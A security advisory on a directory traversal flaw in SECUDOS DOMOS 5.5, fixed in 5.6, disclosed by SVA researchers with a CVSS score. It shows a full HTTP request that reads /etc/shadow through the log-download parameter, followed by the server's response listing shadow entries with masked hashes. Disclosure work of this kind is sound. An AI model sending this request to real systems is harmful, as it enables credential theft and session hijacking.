- Vendor: SECUDOS GmbH
- Product: DOMOS
- Version: 5.5
- Vulnerability: Directory Traversal
- Fixed Version: 5.6
DOMOS is an own and hardened operating system of SECUDOS GmbH. The operating system is used as a platform by several applications. It also offers a web interface for the administration of operating system settings.
While analyzing the implementation of the DOMOS web interface, one directory traversal vulnerability has been identified, which can be exploited in order to read session_id´s from other registered users and this can lead to a session hijacking of those users. This vulnerability can be exploited by authenticated attackers with access to the web interface.
Please consider the following complete HTTP-Request:
GET /page/sl_logdl?dcfct=DCMlog.download_log&dbkey%3Asyslog.rlog=/etc/shadow HTTP/1.1 Host: 10.10.10.1:10000 Connection: close Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Falkon/3.0.1 Chrome/69.0.3497.128 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9, image/webp,image/apng,*/*;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: de-DE,de;q=0.8 Cookie: L=german; S=WdylJWgYQfqXVu1VkvBP9pwxBdh91bhDWB87eB5h; session_id=09bced960d7c7bb0cc15d28c7128b5bc86e7c611
The following HTTP response include the password hashes from the /etc/shadow:
HTTP/1.1 200 OK Server: nginx/1.9.14 Date: Thu, 24 Jan 2019 11:48:50 GMT Content-Type: application/data Content-Length: 870 Connection: close Last-Modified: Thu, 24 Jan 2019 11:48:50 GMT Content-Disposition: shadow; filename="shadow" Set-Cookie: session_id=09bced960d7c7bb0cc15d28c7128b5bc86e7c611; expires=Fri, 25 Jan 2019 04:27:50 GMT; httponly; Path=/; secure Strict-Transport-Security: max-age=15768000 X-Frame-Options: sameorigin X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff X-Permitted-Cross-Domain-Policies: master-only root:$1$xxxxxxxxxxx:17919:0:99999:7::: bin:*:17632:0:99999:7::: daemon:*:17632:0:99999:7::: ...[SNIP]...
CVSSv3 Base Score
CVSS Base Score: 6.5
Pascal Keul of SVA System Vertrieb Alexander GmbH
Patrick Muench of SVA System Vertrieb Alexander GmbH
Torsten Löbner of SVA System Vertrieb Alexander GmbH
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